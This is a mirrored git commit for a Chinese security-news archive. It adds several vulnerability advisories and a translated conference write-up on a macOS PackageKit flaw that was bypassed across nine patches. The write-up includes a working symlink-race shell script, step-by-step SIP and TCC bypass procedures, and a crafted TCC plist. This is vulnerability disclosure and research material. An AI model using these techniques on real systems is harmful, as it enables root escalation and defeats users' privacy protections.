mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
【漏洞预警】ChurchCRM系统中通过EditEventTypes.php文件的newCountName参数进行SQL注入漏洞、无休止的漏洞：macOS 漏洞被利用九次、网络安全动态 - 2025.02.18、CVSS评分9.8！亚信安全率先发现大模型关联Ray架构高危漏洞、
This commit is contained in:
test committed
1 parent
f5873f8854
commit
7806183d59
5 files changed
+778
-1
No files matched your search
@@ -4194,5 +4194,9 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk1NzI5MTc0Nw==&mid=2247485048&idx=1&sn=70c9a4aed11e2474656cc9141ff44488": "【渗透测试Top10漏洞详解·萌新友好版（上）】黑客最爱的5大漏洞竟是这些？",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652503318&idx=1&sn=b5b13cfc554a840876a561de454e8f7e": "雷神众测漏洞周报2024.2.10-2024.2.16",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNzY5OTg2Ng==&mid=2247500752&idx=1&sn=aee35d6ecb95122bbaa6dd9b86ee7c72": "安全简讯（2025.02.18）",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247495247&idx=1&sn=66b1de6e05fb8550eed34aec7d7f156b": "【已关闭】香港：96,000 条 ETAXI 数据暴露于不安全的 Google 存储中"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247495247&idx=1&sn=66b1de6e05fb8550eed34aec7d7f156b": "【已关闭】香港：96,000 条 ETAXI 数据暴露于不安全的 Google 存储中",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247489623&idx=1&sn=0eb82923c11d936eda41661733bab356": "【漏洞预警】ChurchCRM系统中通过EditEventTypes.php文件的newCountName参数进行SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247527921&idx=2&sn=15dd9f4e59983a9c588916d3058ae171": "无休止的漏洞：macOS 漏洞被利用九次",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU1MzEzMzAxMA==&mid=2247499921&idx=1&sn=dd53eca4974397a099fb2c0461221fc0": "网络安全动态 - 2025.02.18",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NjY2MTIzMw==&mid=2650621078&idx=1&sn=da289a9ddcd5331afac177cfbef1d7eb": "CVSS评分9.8！亚信安全率先发现大模型关联Ray架构高危漏洞"
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
# CVSS评分9.8！亚信安全率先发现大模型关联Ray架构高危漏洞
|
||||
亚信安全 亚信安全 2025-02-18 08:18
|
||||
|
||||
|
||||
|
||||
|
||||
近日，亚信安全人工智能实验室率先发现，广泛应用的大模型分布式部署的架构Ray，存在未授权命令执行漏洞，并第一时间上报国家信息安全漏洞共享平台（CNVD-2024-47463），及通用漏洞披露平台（CVE-2024-57000）。CVE官方对该漏洞进行了通用漏洞评分系统（CVSS）评分，高达9.8分，是近年来评分最高的漏洞之一。其危害程度极高，一旦被利用可能对企业和组织造成严重危害。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Ray是一款强大且易用的分布式计算框架，在大模型高性能计算与分布式部署中扮演着关键角色。其被深度集成到 TensorFlow、PyTorch、Scikit-learn 等主流机器学习和深度学习的框架中，广泛应用于数据预处理、分布式训练、超参数调优、模型服务和强化学习等领域。
|
||||
|
||||
|
||||
此次亚信安全人工智能实验室发现的Ray框架漏洞，影响版本范围为2.9.3至2.40.0（截至2025年2月8日，最新版本为2.40.0）。经亚信安全人工智能实验室分析，该漏洞（CVE-2024-57000）属于高危未授权代码执行漏洞，导致了身份验证绕过和未授权代码执行。
|
||||
|
||||
|
||||
**该漏洞的潜在危害高，可能造成严重安全风险：**
|
||||
|
||||
|
||||
1
|
||||
|
||||
攻击者可利用该漏洞，窃取Ray集群中的敏感信息，包括：模型训练数据、模型参数等；
|
||||
|
||||
|
||||
2
|
||||
|
||||
攻击者可利用该漏洞，在Ray集群中执行任意恶意指令，如：设置后门、删除业务数据等。
|
||||
|
||||
|
||||
|
||||
亚信安全建议，使用了Ray框架的企业，及时采取必要的安全防护措施，避免因漏洞造成损失。如需技术支持，可联系亚信安全人工智能实验室。
|
||||
|
||||
|
||||
**关于亚信安全人工智能实验室**
|
||||
|
||||
亚信安全人工智能实验室，是亚信安全专注于网络安全领域的人工智能研究机构。围绕“AI for Security, Security for AI”的理念，实验室致力于探索和开发先进的AI技术，以人工智能的前沿技术强化亚信安全的产品技术能力，同时赋能大模型及AI技术的安全发展。
|
||||
|
||||
|
||||
|
||||
|
||||
了解亚信安全，请点击
|
||||
**“阅读原文”**
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
# 【漏洞预警】ChurchCRM系统中通过EditEventTypes.php文件的newCountName参数进行SQL注入漏洞
|
||||
cexlife 飓风网络安全 2025-02-18 13:05
|
||||
|
||||
|
||||
|
||||
漏洞描述:
|
||||
|
||||
在ChurсhＣRM5.13.0及之前的版本中存在一个漏洞,允许攻击者通过利用EditEvеntTуреѕ功能中基于时间的盲SQL注入漏洞来执行任意SQL查询,nеԝCоuntNаmе参数未经适当清理直接拼接到SQL查询中,允许攻击者操纵数据库查询并执行任意命令,可能导致数据外泄、修改或删除。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
影响产品:
|
||||
|
||||
ChurchCRM==ChurchCRM 5.13.0 and prior
|
||||
|
||||
修复方法:
|
||||
|
||||
为了防止SQL注入,使用带有参数化查询的预处理语句。此外,实施输入验证以拒绝危险字符,对数据库用户应用最小权限原则以最小化潜在损害,并在PHP中分配适当的数据类型,例如如果nеԝCоuntNаｍе代表数值,则将其转换为整数。
|
||||
|
||||
|
||||
@@ -0,0 +1,646 @@
|
||||
# 无休止的漏洞：macOS 漏洞被利用九次
|
||||
Ots安全 2025-02-18 12:12
|
||||
|
||||
|
||||
|
||||
这是我在OBTS v7.0会议上的演讲的博客文章。幻灯片已上传到这里。
|
||||
|
||||
苹果必须发布多少个补丁才能真正修复漏洞？答案是“随风飘荡”。🙈
|
||||
|
||||
我在 macOS 的PackageKit框架中发现了一个有趣的逻辑漏洞，该漏洞允许将权限提升到root，绕过透明度同意和控制（TCC），以及绕过系统完整性保护（SIP）。
|
||||
|
||||
很难相信 Apple 在最终解决该漏洞之前发布了 9 个补丁来尝试解决该漏洞。在这场史诗般的战斗中，我成功收获了一系列 CVE：CVE-2022-26688、CVE-2022-32900、CVE-2023-23497、CVE-2023-27962、CVE-2023-38564、CVE-2023-42853、CVE-2024-23275、CVE-2024-27885、CVE-2024-44178 和 CVE-2025-24099。
|
||||
|
||||
由于时间有限，我在OBTS上没有讲到CVE-2024-27885和CVE-2024-44178 。另外，新的CVE-2025-24099是一个变种问题，在大会期间是一个 0day 漏洞，目前已在除夕发布的 macOS 15.3 中得到解决。
|
||||
|
||||
|
||||
|
||||
关于 SIP 文件系统保护
|
||||
|
||||
关于 macOS 系统完整性保护（简称SIP）的文档和博客有很多。为了节省时间，我不会过多地谈论 macOS SIP 的基本知识。在这篇博客中，我们将重点介绍文件系统保护。简而言之，它是一个应用于整个系统的特殊沙箱。配置可以在名为的文件中找到/System/Library/Sandbox/rootless.config。以位置/Library/Apple为例：
|
||||
|
||||
|
||||
|
||||
从系统命令的输出中ls，我们可以看到它是受限制的，并且具有特殊的扩展属性：“ com.apple.rootless ”。如果我尝试触摸此位置内的文件，它会返回错误“操作不允许”，即使我以root权限执行该命令。
|
||||
|
||||
但是 macOS 系统本身如何更新受保护的文件？
|
||||
|
||||
答案是，有些 Apple 签名的服务以强大的CS_INSTALLER权限运行。它们通常使用私有的rootless 相关权限进行签名，以修改受保护的系统位置。
|
||||
|
||||
关于 PackageKit 框架
|
||||
|
||||
今天要讲的这个漏洞存在于PackageKit框架中，我们先来看一下这个框架。
|
||||
|
||||
这是什么？
|
||||
|
||||
它是一个私有框架，捆绑了一些可执行二进制文件：
|
||||
|
||||
|
||||
|
||||
此框架的职责是安装 PKG 文件。服务“ installd ”用于安装普通（开发者签名或未签名）PKG 文件，而服务“ system_installd ”用于安装Apple 签名的PKG 文件。它们都以root身份运行，在PackageKit框架中共享相同的实现。
|
||||
|
||||
这个框架为何如此有吸引力？
|
||||
|
||||
对于“ installd ”服务，它可以被利用来提升 root 权限。
|
||||
|
||||
此外，“ system_installd ”服务已使用强大的授权“ com.apple.rootless.install.heritable ”进行签名。因此，此服务及其所有子进程将拥有强大的CS_INSTALLER权限来修改受SIP保护的文件。因此，可以利用它来绕过SIP保护，也就是完全绕过TCC。
|
||||
|
||||
另一方面，历史上披露的漏洞也不少，我自己发现的漏洞大概有40多个。
|
||||
|
||||
攻击面
|
||||
|
||||
该框架内存在许多可能的攻击面。
|
||||
- 第一个主要攻击面存在于安装操作中：
|
||||
|
||||
|
||||
|
||||
我们在这里可以看到，实现了超过 20 种不同的操作。有些操作可以在 PKG 安装过程中的一些特殊场景中触发。
|
||||
|
||||
第二个命令攻击面存在于PKG 文件中的安装操作脚本中。对于Apple 签名的 PKG文件，可以利用它们绕过 SIP。对于其他 PKG文件，可以利用它们来获得root 权限提升。
|
||||
|
||||
主要工作流程
|
||||
|
||||
installd和system_installd服务具有相同的主要工作流程。
|
||||
|
||||
|
||||
|
||||
从中install.log我们可以看到，在 PKG 安装过程中至少有三个安装操作可以默认触发：
|
||||
1. PKExtractInstallOperation旨在将Payload 内容从 PKG 文件提取到安装沙盒根路径。
|
||||
|
||||
1. PKRunPackageScriptInstallOperation负责执行PKG文件中嵌入的安装操作脚本。
|
||||
|
||||
1. PKShoveInstallOperation旨在将Payload 内容从安装沙箱存储库推送到安装目标路径。
|
||||
|
||||
PKShoveInstall操作
|
||||
|
||||
过去，我曾披露过前两个安装操作中的一些漏洞。今天，我们重点关注最后一个，即PKShoveInstallOperation。
|
||||
|
||||
在逆向Objective-C类“ PKCoreShove ”之后，我发现shove逻辑有点复杂。它不等同于move操作。
|
||||
|
||||
|
||||
|
||||
在大多数情况下，它会调用名为“ -[PKCoreShove _relinkFile:dest:] ”的方法，该方法内部调用API。如果源路径和目标路径都是目录，它会通过递归调用方法“ -[PKCoreShove shoveOneLevel:dest:] ”rename来处理这种情况
|
||||
|
||||
如果源路径是一个目录，而目标路径是一个符号链接，那么会发生什么？
|
||||
|
||||
CVE-2022-26688
|
||||
所以，我的动机来自于这个问题：
|
||||
|
||||
如果我用符号链接替换目标目录并安装 Apple 签名的 PKG 文件，它会跟随符号链接并将 PKG 有效负载内容重定向到另一个受限位置吗？
|
||||
|
||||
然后我尝试了一下并立即发现了CVE-2022-26688：
|
||||
|
||||
|
||||
|
||||
今天的故事就以一个有趣的逻辑漏洞开始。该漏洞可直接用于绕过 SIP 文件系统保护。
|
||||
|
||||
漏洞利用
|
||||
|
||||
我的问题的测试过程也是利用过程：
|
||||
|
||||
|
||||
|
||||
我们可以看到测试环境是 macOS 12.0.1，并且 SIP 状态为启用。
|
||||
|
||||
在利用该漏洞之前，该位置/Library/Apple受到限制并且具有特殊的无根扩展属性，因此我无法在此目录中写入。
|
||||
|
||||
该漏洞只是从有效载荷目标路径创建到任意受限目录的符号链接。
|
||||
|
||||
接下来，安装 Apple 签名的PKG文件。PKShoveInstallOperation会将有效负载内容从安装沙盒存储库推送到目标路径。
|
||||
|
||||
令我惊讶的是，推送过程不仅会跟踪符号链接并将有效载荷内容推送到受限位置，还会清除受限文件标志并删除已解析目标路径的无根扩展属性！
|
||||
|
||||
因此，我可以在受限位置写入和删除任意文件，因为它现在不受限制了。
|
||||
|
||||
根本原因
|
||||
那么，幕后到底发生了什么？
|
||||
|
||||
为了快速找到相关的进程和函数，我建议使用 Instruments.app ，配合Xcode。因为这个工具不仅可以监视文件操作，还可以提供有价值的调用堆栈跟踪信息（有点像windows 上的procmon）：
|
||||
|
||||
|
||||
|
||||
我们可以看到，执行文件操作的是shove进程。shove 进程是由system_installd服务衍生的，因此它会继承强大的CS_INSTALLER权限来修改受 SIP 保护的路径。
|
||||
|
||||
同时我们还可以看到文件操作是由名为“ -[PKCoreShove relinkFile:dest:sourceAttribs:destAttribs:] ”的函数调用的。
|
||||
|
||||
|
||||
|
||||
深入研究该函数后，我们可以看到：
|
||||
- 在第31行，它调用renameAPI直接推送Payload内容。
|
||||
|
||||
- 在第 65 行，它调用另一种方法来传播目标路径的文件标志和扩展属性。
|
||||
|
||||
|
||||
|
||||
进入文件属性传播函数，我们可以看到：
|
||||
- 在第 177 行，它调用 APIlchflags来清除目标路径的受限文件标志。
|
||||
|
||||
- 在第 200 行，它使用 APIremovexattr删除特殊的无根扩展属性。
|
||||
|
||||
第一个补丁
|
||||
|
||||
Apple 首先在 macOS 中修补了此漏洞12.3：
|
||||
|
||||
|
||||
|
||||
正如日志字符串所暗示的，如果原始目标路径不受信任，而解析的目标路径受信任，则它将不会遵循符号链接。
|
||||
|
||||
接下来，它首先从目标路径中删除符号链接，然后调用函数“ -[PKCoreShove _relinkFile:dest:] ”。
|
||||
|
||||
|
||||
|
||||
这似乎直接阻止了我以前的开发。
|
||||
|
||||
但这足够安全吗？
|
||||
|
||||
CVE-2022-32900
|
||||
当然不是，CVE-2022-32900是它的绕过方法：
|
||||
|
||||
|
||||
|
||||
绕过思路如下：
|
||||
|
||||
|
||||
我发现，如果原始目标路径和解析的目标路径都不受信任，那么它将直接跟随符号链接。
|
||||
|
||||
解析后的目标路径不受信任，但其中的子路径可以受限制和受信任。例如，创建一个符号链接，让原始目标路径指向不受限制的目录/Library，shove 进程将遵循符号链接并覆盖受限制的子目录/Library/Apple。
|
||||
|
||||
接下来，挑战出现了。
|
||||
|
||||
为了覆盖受限子目录，我需要找到一个 Apple 签名的 PKG 文件，其中包含特殊的 Payload 内容：“ $SandboxRepo/Root/XXX/YYY/Apple ”。
|
||||
|
||||
但是，我发现如果我将 Apple 签名的 PKG 文件安装到已挂载的磁盘映像卷，则安装沙盒存储库不受 SIP 保护。
|
||||
|
||||
尽管沙盒存储库是由 API 创建的rootless_mkdir_restricted，并且ls命令表明它受到限制，但它根本没有受到限制！所以我可以直接从磁盘映像卷修改 Payload 内容。
|
||||
|
||||
漏洞利用和演示
|
||||
漏洞代码已上传至此处的GitHub 链接。https://github.com/jhftss/POC/tree/main/CVE-2022-32900
|
||||
|
||||
演示视频：https://youtu.be/7lOzIgxFvaM
|
||||
|
||||
第二个补丁
|
||||
|
||||
Apple 在 macOS 中再次修补了此漏洞12.6：
|
||||
|
||||
|
||||
|
||||
现在在函数中-[PKShoveInstallOperation _shoveExtractedRootOntoDestinationReturningError:]，如果提取的有效载荷路径不受信任，那么shove命令将使用附加参数“ -D ”生成，如下所示：
|
||||
|
||||
|
||||
然后在shove过程中，它将使用 API“ csops ”放弃强大的CS_INSTALLER权限：
|
||||
|
||||
|
||||
该解决方案似乎合理并再次终止了我的开发。
|
||||
|
||||
但现在可以了吗？
|
||||
|
||||
CVE-2023-23497
|
||||
还没有，CVE-2023-23497再次被绕过：
|
||||
|
||||
新问题
|
||||
|
||||
|
||||
在第 84 行和第 86 行，它使用不安全的 API rootless_check_trusted和检查提取的 payload 路径是否可信rootless_protected_volume。但是使用符号链接很容易绕过它们！
|
||||
|
||||
漏洞利用和演示
|
||||
以下是我再次利用此问题的方法：
|
||||
- 创建 DMG 文件并将其挂载到目录/tmp/.exploit
|
||||
|
||||
- 将 Apple 签名的 PKG 文件安装到卷/tmp/.exploit
|
||||
|
||||
- 在system_installd调用 API rootless_check_trusted之前，将提取的有效负载路径替换为指向受限位置的符号链接。
|
||||
|
||||
- “shove”命令将在没有参数-D 的情况下生成，并且不会删除SIP(CS_INSTALLER) 权限。
|
||||
|
||||
- 将提取的有效载荷路径替换为我们真正的有效载荷。
|
||||
|
||||
然后我遇到了一个新的挑战：shove 进程不会遵循符号链接，因为源路径和解析的目标路径不在同一设备上。源路径来自已挂载的磁盘映像设备，而解析的目标路径位于根卷设备上。
|
||||
|
||||
解决方案是创建一个符号链接，让安装沙盒存储库指向 Root 卷设备上的路径。然后shove进程将再次遵循符号链接！
|
||||
|
||||
演示视频：https://youtu.be/Min4ye0XL88
|
||||
|
||||
第三个补丁
|
||||
|
||||
Apple 在 macOS 中再次修复了该问题13.2：
|
||||
|
||||
|
||||
|
||||
它使用安全 API rootless_check_trusted_fd。使用标志打开文件描述符来打开符号链接本身，而不是解析符号链接。
|
||||
|
||||
CVE-2023-27962
|
||||
然而，补丁发布后又出现了一个令人啼笑皆非的新问题。
|
||||
|
||||
CVE-2023-27962被分配给新问题：
|
||||
|
||||
|
||||
|
||||
新推出的问题
|
||||
|
||||
在逆向patch函数之后，我发现了一个新的粗心的编码问题：
|
||||
|
||||
|
||||
|
||||
这里检查的是shoveToolPath是否受到 SIP 完全保护，而不是像之前一样检查提取的有效载荷路径。当然，来自系统私有框架的shoveToolPath受到 SIP 的限制和完全保护。
|
||||
|
||||
因此第 37 行的检查总是返回 true！
|
||||
|
||||
漏洞利用和演示
|
||||
|
||||
漏洞代码已上传至此处的GitHub 链接。https://github.com/jhftss/POC/tree/main/CVE-2023-27962
|
||||
|
||||
演示视频：https://youtu.be/rEkLNAtS5U4
|
||||
|
||||
第 4 个补丁
|
||||
|
||||
Apple 立即在 macOS 中再次修复了该问题13.3：
|
||||
|
||||
|
||||
|
||||
再次，它检查提取的有效载荷路径，而不是系统的shoveToolPath。
|
||||
|
||||
但现在够安全了吗？
|
||||
|
||||
CVE-2023-38564
|
||||
|
||||
还没有，CVE-2023-38564再次被绕过：
|
||||
|
||||
|
||||
问题
|
||||
|
||||
|
||||
|
||||
一方面，在第44行，如果父路径组件是符号链接，open带标志的APIO_SYMLINK仍会跟踪。找到名为的受限文件夹Root，则第48行的检查将再次被绕过。
|
||||
|
||||
另一方面，可以使用已安装的磁盘映像卷来控制安装沙盒存储库。
|
||||
|
||||
漏洞利用
|
||||
|
||||
为了再次利用此问题，我们需要了解沙盒存储库。
|
||||
|
||||
它是由函数“ -[PKInstallSandboxManager
|
||||
|
||||
_sandboxRepositoryForDestination:forSystemSoftware:create:error:] “
|
||||
- 如果安装目标是ROOT“ / ”：
|
||||
|
||||
- 对于 Apple 签名的 PKG： /Library/Apple/System/Library/InstallerSandboxes/.PKInstallSandboxManager-SystemSoftware
|
||||
|
||||
- 对于其他 PKG：/Library/InstallerSandboxes/.PKInstallSandboxManager
|
||||
|
||||
- 如果安装目标不是ROOT：
|
||||
|
||||
- 对于 Apple 签名的 PKG：$targetVolume/.PKInstallSandboxManager-SystemSoftware
|
||||
|
||||
- 对于其他 PKG：$targetVolume/.PKInstallSandboxManager
|
||||
|
||||
以下是我如何利用 mount 技巧再次利用此问题的方法：
|
||||
1. 创建DMG文件并将其挂载到目录/tmp/.exploit。
|
||||
|
||||
1. 将 Apple 签名的 PKG 安装到该卷/tmp/.exploit。
|
||||
|
||||
1. 在函数“ -[PKInstallSandboxManager _sandboxRepositoryForDestination:forSystemSoftware:create:error:] ”中，一旦它创建并返回路径/tmp/.exploit/.PKInstallSandboxManager-SystemSoftware（在 DMG 卷内）作为其沙盒存储库，我就可以立即弹出DMG 卷。然后沙盒存储库将位于根卷上，前缀为路径/tmp/.exploit。
|
||||
|
||||
1. 接下来，该服务将使用 API rootless_mkdir_restricted在沙盒存储库内创建受限有效负载目录。
|
||||
|
||||
1. 有效载荷目录受到限制，因此shove命令不会放弃 SIP 权限。
|
||||
|
||||
1. 无法直接修改 payload 目录，但我可以再次挂载另一个 DMG 文件/tmp/.exploit。然后它将不受限制，因此我可以在那里部署我的恶意 payload。
|
||||
|
||||
第 5 个补丁
|
||||
|
||||
Apple 在 macOS 中再次修复了该问题13.5：
|
||||
|
||||
|
||||
|
||||
现在，它会检查安装沙盒存储库是否受信任。因此挂载技巧无法再绕过此处的检查。
|
||||
|
||||
同时，苹果采纳了我在PoC 2022大会上提出的建议（幻灯片第 79 页）：
|
||||
|
||||
现在，如果安装目标路径不是根卷，它将使用非特权的installd服务来处理Apple 签名的 PKG文件的安装请求，而不是特权的system_installd服务！
|
||||
|
||||
做得好，但是现在足够安全了吗？
|
||||
|
||||
CVE-2023-42853
|
||||
还没有，CVE-2023-42853又是绕过方法：
|
||||
|
||||
|
||||
|
||||
问题
|
||||
|
||||
我们再来回顾一下推挤逻辑：
|
||||
|
||||
|
||||
|
||||
如果源路径是目录，而目标路径是符号链接，则会确定是否遵循解析后的目标路径：
|
||||
|
||||
如果原始目的地不受限制，而解析后的目的地受限制，则不会跟随解析后的目的地。否则，它将跟随解析后的目的地，并将 Payload 内容推送到那里。
|
||||
|
||||
推送到解析的目的地后，它将传播文件标志和扩展属性。
|
||||
|
||||
它使用 API 检查路径是否可信rootless_check_trusted_fd：
|
||||
|
||||
|
||||
|
||||
但是该API只能检查文件标志SF_RESTRCITED，而特殊文件标志SF_NOUNLINK则被忽略！
|
||||
|
||||
漏洞利用和演示
|
||||
|
||||
因此，我做了一个测试：
|
||||
|
||||
|
||||
|
||||
首先，我创建了一个符号链接到具有特殊文件标志SF_NOUNLINK的位置，例如目录/Library/Application Support，由于特殊文件标志而无法挂载。
|
||||
|
||||
然后我安装了苹果签名的 PKG 文件。结果，shove进程跟踪了符号链接并清除了特殊文件标志。然后它就变得可挂载了！
|
||||
|
||||
因此可以利用此问题完全绕过TCC保护：
|
||||
1. 滥用 SIP-bypass 原语来清除任意路径的文件标志（SF_NOUNLINK），例如“ /Library/Application Support ”。
|
||||
|
||||
1. 创建DMG文件并挂载到路径“ /Library/Application Support ”。
|
||||
|
||||
1. 将精心设计的TCC.db放在路径“ /Library/Application Support/com.apple.TCC ”中，即可完全绕过 TCC！
|
||||
|
||||
演示视频：https://youtu.be/PT0iuaGJ9LY
|
||||
|
||||
第 6 个补丁
|
||||
|
||||
Apple 在 macOS 中再次修复了该问题14.1：
|
||||
|
||||
|
||||
|
||||
现在在函数中PKSIPFullyProtected，如果文件路径具有特殊的SF_NOUNLINK标志，那么它也将被视为受到SIP 完全保护。
|
||||
|
||||
现在看起来好多了，但这足够安全吗？
|
||||
|
||||
CVE-2024-23275
|
||||
还没有，CVE-2024-23275再次被绕过：
|
||||
|
||||
|
||||
|
||||
问题
|
||||
|
||||
因此，它会检查解析的目标路径是否受到 SIP 完全保护：
|
||||
|
||||
|
||||
|
||||
但是解析后的目标路径是用标志“ O_NOFOLLOW ”打开的，而不是用标志“ O_NOFOLLOW_ANY ”。所以我不能直接用符号链接替换解析后的目标路径。但我可以用符号链接替换父路径组件。在调用openAPI 之前，创建一个符号链接以指向不受限制的位置。在通过第 291 行的检查后，让符号链接指向受限制的位置以清除其受限制文件标志。
|
||||
|
||||
漏洞利用
|
||||
漏洞利用脚本如下：
|
||||
|
||||
```
|
||||
#!/bin/sh# Usage: exploit.sh /path/to/target (clear the target's file flag: "SF_RESTRICTED", "SF_SF_NOUNLINK")TARGET_DIR=`dirname "$1"`TARGET_NAME=`basename "$1"`echo'target dirname:'$TARGET_DIR', target basename:'$TARGET_NAMEmkdir "/tmp/$TARGET_NAME"ln -f -h -s /tmp /tmp/lnkln -f -h -s "/tmp/lnk/$TARGET_NAME" /Library/Application\ Support/ResearchSoftecho'waiting for the installation...'# waiting for the shove process opening the untrusted /tmp/$TARGET_NAMEwhiletrue ; doif lsof -c shove | grep "/tmp/$TARGET_NAME"then breakfidoneecho'replacing the symlink...'ln -f -h -s "$TARGET_DIR" /tmp/lnkecho'all done.'
|
||||
```
|
||||
|
||||
|
||||
它可用于清除任意路径的限制文件标志。
|
||||
|
||||
第 7 个补丁
|
||||
|
||||
Apple 在 macOS 中再次修补了此问题14.4：
|
||||
|
||||
|
||||
|
||||
现在，如果原始目标路径不受信任，则解析的目标路径将使用标志“ O_NOFOLLOW_ANY ”打开。此标志将终止路径中的任何类型的符号链接。
|
||||
|
||||
但功绩永无止境。
|
||||
|
||||
CVE-2024-27885
|
||||
CVE-2024-27885再次被绕过：
|
||||
|
||||
|
||||
|
||||
如前所述，推送到安装目标路径后，它将传播目标路径的文件标志和扩展属性。 受限文件标志可以通过 API lchflags清除。
|
||||
|
||||
问题
|
||||
|
||||
API lchflags被设计为不遵循符号链接：
|
||||
|
||||
|
||||
|
||||
但是该API的实现太过草率：
|
||||
|
||||
|
||||
它使用第 6 行的 API lstat检查给定路径是否是符号链接：
|
||||
- 如果路径是符号链接，它将使用带有选项FSOPT_NOFOLLOW的 API setattrlist。
|
||||
|
||||
- 如果路径不是符号链接，它仍将使用 API chflags，该 API 将遵循符号链接。
|
||||
|
||||
- 所以这是一个经典的TOCTOU问题。在通过第 6 行 API lstat的检查后，攻击者可以用符号链接替换路径。因此，它使用 API chflags并直接跟踪符号链接以清除任意路径的限制文件标志。
|
||||
|
||||
Apple 在 macOS 13.3 中将这个旧问题（CVE-2023-40383）进行了如下处理：
|
||||
|
||||
|
||||
|
||||
现在在 API lchflags中，它删除了 API chflags的调用，始终使用带有选项FSOPT_NOFOLLOW的API setattrlist。
|
||||
|
||||
但是，如果我用符号链接替换父路径组件，它仍将遵循符号链接，因为它不使用选项FSOPT_NOFOLLOW_ANY (0x800)。
|
||||
|
||||
PKCoreShove使用 API lchflags清除安装目标路径的文件标志：
|
||||
|
||||
```
|
||||
void -[PKCoreShove _propagateFileModification:flags:xattrs:](void *a1, void *a2, int a3, void *a4){//... if ( lchflags(path, v42) )//...}
|
||||
```
|
||||
|
||||
|
||||
漏洞利用
|
||||
|
||||
例如，安装 Apple 签名的WorkflowExtensionsSDK.pkg将把 Payload 内容推送到目标路径，如：/Library/Developer/SDKs/WorkflowExtensionSDK.sdk/Library。
|
||||
|
||||
在安装Apple签名的PKG之前，请执行以下命令进行准备：
|
||||
|
||||
```
|
||||
mkdir -p /Library/Developer/SDKs/WorkflowExtensionSDK.sdk/Librarychflags 6 /Library/Developer/SDKs/WorkflowExtensionSDK.sdk/Library
|
||||
```
|
||||
|
||||
|
||||
这将触发PKCoreShove在安装过程中清除路径的文件标志：
|
||||
|
||||
```
|
||||
lchflags("/Library/Developer/SDKs/WorkflowExtensionSDK.sdk/Library", 0);
|
||||
```
|
||||
|
||||
|
||||
在 shove 进程调用 API lchflags之前，race 将父路径组件替换/Library/Developer/SDKs/WorkflowExtensionSDK.sdk为指向 的符号链接/。
|
||||
|
||||
结果，该路径的文件标志SF_NOUNLINK/Library将被清除。
|
||||
|
||||
第二阶段漏洞
|
||||
|
||||
我们能在先前的基础之上获得更多吗？
|
||||
|
||||
/Library即使文件标志SF_NOUNLINK已被清除，该路径仍然不可挂载。
|
||||
|
||||
事实是，某些受限文件标志的丢失已经破坏了系统完整性保护的信任链。
|
||||
|
||||
例如，这原语可以使一些受限制的路径变得可挂载！通过滥用原语清除路径的限制标志（0x80000）/Library/Apple/Library，我就可以挂载它了。
|
||||
|
||||
我一直说，SIP Bypass 就是 Full TCC Bypass。接下来，将文件修改/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist为以下内容：
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>Services</key><dict> <key>AppleEvents</key> <array> <dict> <key>CodeRequirement</key> <string>identifier com.apple.Terminal</string> <key>IdentifierType</key> <string>bundleID</string> <key>Identifier</key> <string>com.apple.Terminal</string> <key>Comment</key> <string>40394397</string> <key>AEReceiverIdentifier</key> <string>com.apple.finder</string> <key>AEReceiverIdentifierType</key> <string>bundleID</string> <key>AEReceiverCodeRequirement</key> <string>identifier com.apple.finder</string> </dict> </array></dict></dict></plist>
|
||||
```
|
||||
|
||||
|
||||
因此，Terminal.app能够向发送任意AppleEvent ，Finder.app从而完全绕过TCC！
|
||||
|
||||
请注意，在将此漏洞提交给 Apple 后，Apple/Library/Apple/Library/Bundles/TCC_Compatibility.bundle自 macOS 15.0 Beta 3 起已淘汰该补丁：
|
||||
|
||||
|
||||
|
||||
第 8 个补丁
|
||||
|
||||
Apple 在 macOS 中再次修补了此问题14.5：
|
||||
|
||||
```
|
||||
void -[PKCoreShove _propagateFileModification:flags:xattrs:](void *a1, void *a2, int a3, void *a4){//... fd = open(path, O_SYMLINK|O_NOCTTY|O_NONBLOCK);//... if ( fchflags(fd, v48) )//...}
|
||||
```
|
||||
|
||||
|
||||
现在，它使用 API fchflags，而不是 API lchflags。
|
||||
|
||||
但现在可以了吗？
|
||||
|
||||
CVE-2024-44178
|
||||
还没有，CVE-2024-44178再次被绕过：
|
||||
|
||||
|
||||
|
||||
问题
|
||||
|
||||
从第 8 个补丁我们可以看出，它使用标志调用开放O_SYMLINK|O_NOCTTY|O_NONBLOCKAPI ，而没有使用标志O_NOFOLLOW_ANY！
|
||||
|
||||
因此，在打开之前path=/Library/Developer/SDKs/WorkflowExtensionSDK.sdk/Library，攻击者仍然能够/Library/Developer/SDKs/WorkflowExtensionSDK.sdk用符号链接替换父路径组件。
|
||||
|
||||
该漏洞利用过程与前一个类似。
|
||||
|
||||
第九个补丁
|
||||
|
||||
苹果在 macOS 中再次修补了此问题15.0。
|
||||
|
||||
如果当前服务是特权服务“system_installd”（PKSIPCurrentProcessCanModifySystemIntegrityProtectionFiles返回TRUE），则无需使用参数“-s”即可启动shove进程：
|
||||
|
||||
|
||||
|
||||
在shove过程中，参数“-s”表示允许符号链接（optionFlags |= 4）：
|
||||
|
||||
|
||||
|
||||
那么如果没有指定参数“-s”，函数-[PKCoreShove _linkResolutionProhibitted]将返回TRUE ：
|
||||
|
||||
|
||||
接下来，如果链接解析被禁止，open API 将使用标志“O_NOFOLLOW_ANY”：
